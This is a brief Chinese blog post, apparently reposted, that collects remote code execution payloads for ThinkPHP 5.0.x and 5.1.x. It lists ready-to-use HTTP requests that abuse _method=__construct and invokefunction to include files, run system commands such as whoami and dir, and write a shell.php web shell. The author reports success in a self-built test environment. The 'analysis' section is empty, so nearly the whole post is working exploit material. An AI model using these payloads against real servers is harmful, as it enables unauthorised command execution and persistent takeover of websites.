Thinkphp5.x RCE

Thinkphp5.X的RCE分为两大版本:

ThinkPHP 5.0-5.0.24

ThinkPHP 5.1.0-5.1.30

以下payload先作临时参考

tp5.1.x
文件包含:
http://ip/index.php?s=captcha&m=1
post提交:
_method=__construct&filter[]=think__include_file&get[]=/home/www/test3/public/1.txt&method=get&server[]=

tp5.0.x

代码执行漏洞:
POST请求
http://ip/index.php
_method=__construct&filter[]=system&method=GET&get[]=dir

GET请求
http://ip/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

http://ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://ip/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容需要url编码

自己搭建的环境是 thinkphp5.0.5 php 5.4.x

payload:_method=__construct&filter[]=system&method=GET&get[]=dir

测试,成功执行命令!

漏洞分析:

猜你喜欢

转载自www.cnblogs.com/zpchcbd/p/12622077.html
今日推荐